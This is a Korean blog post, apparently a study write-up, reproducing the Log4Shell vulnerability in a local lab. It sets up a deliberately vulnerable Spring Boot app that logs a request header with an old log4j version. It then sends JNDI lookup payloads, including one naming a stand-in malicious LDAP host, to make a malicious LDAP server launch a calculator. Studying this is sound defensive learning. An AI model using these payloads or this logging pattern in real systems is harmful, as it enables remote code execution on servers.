- Log4j 취약점을 통한 해킹 실습하기
- Log4j란?
- Log4j 보안 취약점 사태
- LDAP server를 통한 JNDI injection 실습
- 마무리
시큐어 코딩 강의를 듣던 중 Log4j 사태가 언급되었다. 어떤 원리로 발생한 문제인지 확인하고, 이를 실습해 보았다.
Log4j는 자바의 로깅 라이브러리로, 자바를 사용하는 프로그램에서 굉장히 흔하게 사용되는 라이브러리이다. Spring Boot를 통해 Rest API를 개발할 때도 많이 사용된다.
보통 컨트롤러 등에 @slf4j 어노테이션을 선언하고 log.info()와 같은 방식으로 사용한다.
자바는 2024년 현재에도 가장 많이 사용되는 Top5 언어에 들어갈 정도로 사용하는 프로그램이 굉장히 많은 언어이다. 따라서 Log4j 라이브러리도 많이 사용된다.
그런데 2021년, 이 Log4j에서 매우 심각한 보안 취약점이 발견되었다.
아래 내용은 나무위키의 내용을 발췌하였다.
우선 이 취약점은 JNDI와 LDAP를 이용한다. JNDI는 Java Naming and Directory Interface의 약자로 1990년대 후반부터 Java에 추가된 인터페이스이다. Java 프로그램이 디렉토리를 통해 데이터(Java 객체 형태)를 찾을 수 있도록 하는 디렉토리 서비스이다.
JNDI는 이러한 디렉토리 서비스를 위해 다양한 인터페이스가 존재하는데 그 중 하나가 LDAP이다. 이 LDAP가 이번 취약점에 가장 중요한 포인트이다.
Java 프로그램들은 앞서 말한 JNDI와 LDAP를 통해 Java 객체를 찾을 수 있다. 예시로 URL ldap://localhost:389/o=JNDITutorial을 접속한다면 LDAP 서버에서 JNDITutorial 객체를 찾을 수 있는 것이다.
이러한 접근 인터페이스가 이번 사태에 치명적이게 된 이유는, Log4j에는 편리하게 사용하기 위해 ${prefix:name} 형식으로 Java 객체를 볼 수 있게 하는 문법이 존재하기 때문이다. 예를 들어 ${java:version}은 현재 실행 중인 Java 버전을 볼 수 있게 한다.
가장 큰 원인은 Log4j의 Lookup 기능이다.
${} 형태의 문자열 변수를 전달하고, Log4j 내부에서 이를 파싱해 해당 기능을 수행하고 ${} 를 수행 결과값으로 대체하는 이 기능이 문제가 되었다.
이 Lookup 기능이 외부 서버(예: LDAP 서버)와의 연결 및 객체 로드를 허용했기 때문이다.
공격자는 악의적인 JNDI Lookup URL을 입력값으로 전달하여 Log4j를 통해 이를 파싱하도록 만들 수 있다. 예를 들어, ${jndi:ldap://malicious.server/exploit}와 같은 값을 로깅할 경우, Log4j는 공격자의 LDAP 서버에 접근하고, 해당 서버가 제공하는 악의적인 Java 객체를 로드 및 실행합니다. 이를 통해 공격자는 대상 시스템에서 임의 코드 실행하도록 만들 수 있다.
위 링크에서 JNDI injection 공격을 위한 LDAP server를 다운로드 받는다.
우리는 스프링부트 웹서버가 동작중인 컴퓨터(윈도우 OS가 깔려있다고 가정)에서 계산기 프로그램을 실행하도록 만들어 볼 것이다.
우선 웹서버를 구현해 보자.
plugins {
id 'org.springframework.boot' version '2.6.1'
id 'io.spring.dependency-management' version '1.0.11.RELEASE'
id 'java'
}
group = 'fr.christophetd.log4shell'
version = '0.0.1-SNAPSHOT'
sourceCompatibility = '1.8'
repositories {
mavenCentral()
}
dependencies {
implementation('org.springframework.boot:spring-boot-starter-web') {
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-logging'
}
implementation 'org.springframework.boot:spring-boot-starter-log4j2:2.6.1'
testImplementation 'org.springframework.boot:spring-boot-starter-test'
}
test {
useJUnitPlatform()
}
build.gradle을 위와 같이 작성한다. Spring Boot 버전은 2.6.1이고, log4j 버전은 2.14.1 버전 이전 버전으로 설정한다.
@RestController
public class MainController {
private static final Logger logger = LogManager.getLogger("HelloWorld");
@GetMapping("/")
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
logger.info("Received a request for API version {}", apiVersion);
return "Hello, world!";
}
}
컨트롤러를 위와 같이 작성한다. @RequestHeader("X-Api-Version")를 통해 헤더를 받아오고, 이를 로깅한다.
맨 처음 다운로드 받았던 LDAP 서버 프로젝트를 열고, Config 클래스의 가장 위에 선언된 파라미터를 수정한다.
@Parameter(names = {"-c", "--command"}, description = "Command to execute on the target server", order = 0)
public static String command = "\"C:\\Windows\\System32\\calc.exe\"";
이를 통해 계산기 프로그램을 실행하도록 만들 것이다.
그 후 두 프로젝트 모두 실행한다. 요청은 Postman으로 진행할 것이다.

평범한 요청을 보내보았다.

헤더의 내용을 가져와 로그를 출력하고 있다.
그럼 LDAP 서버를 통해 악의적인 명령어를 실행해보자. X-Api-Version에 다음과 같은 내용을 넣고 요청을 진행한다.
${jndi:ldap://localhost:1389/o=reference}
(이 부분은 직접 구현해 바꿀 수 있다. 일단 기본 제공된 RemoteReference를 사용한다.)
웹서버에서는 다음과 같은 로그가 발생했다.

여기서 Lookup 기능을 통해 LDAP 서버로 요청을 보내며, LDAP 서버에서는 다음과 같은 로그가 발생했다.

LDAP 서버에서 계산기를 실행하는 바이트코드를 만들어 클래스 파일로 만들고, 이것을 웹서버에서 원격 클래스 로딩을 하게 만든다. 로딩된 클래스파일은 즉시 실행되어 계산기를 실행시킬것이다.

요청 결과 계산기가 실행되는 것을 확인할 수 있다.
Log4j 사태가 2021년 일어났을 때는 웹에 입문을 하기도 전이었고, 본격적으로 프로그래밍 공부를 시작하기도 전이었다.(심지어 자바를 공부하기도 전이었다.)
흥미가 있긴 했지만 실제로 테스트를 해 볼 지식이 없었는데, 이렇게 직접 실습해보면서 어떤 원리로 이 사태가 일어나게 됐는지 이해하게 되었다.
지금 현재는 스프링부트 3, JDK 17 버전 이상을 사용하고 있는데, Log4j 2.15 이상 버전에서는 JNDI를 통한 외부 연결이 제한되었고, JNDI를 통해 반환되는 객체가 직렬화된 데이터를 포함할 수 없도록 제한되었다.
Log4j 2.16.0에서는 JNDI Lookup 기능이 기본적으로 완전히 비활성화되었다.
jdk에서도, jdk 8u191 이상 버전에서는 원격 클래스 로딩이 기본적으로 비활성화 되어있다. 또한 jdk 9 이상 버전에서는 JNDI 룩업을 통한 원격 클래스 로딩에 대한 보안 제한이 강화되었다.
이 글에서는 언급하지 않았지만, ELProcessor를 통한 명령 실행을 유도하는 코드 또한 LDAP 서버를 제공한 깃허브 리포지토리에 포함되어 있다. 이것 또한 Reflection을 통한 클래스나 메소드 호출을 제한되었기 때문에, 실행되지 않을 가능성이 높다.
결론은, 현재 스프링 부트 3는 jdk 17 이상을 요구하고, 기본적인 로깅 라이브러리가 이미 이 문제를 해결한 라이브러리이기 때문에 일반적으로는 취약점에 대한 문제가 발생하지 않을 가능성이 높다. 다만 이 사태가 발생했던 2021년 당시에는 굉장히 치명적인 문제였을 것이다.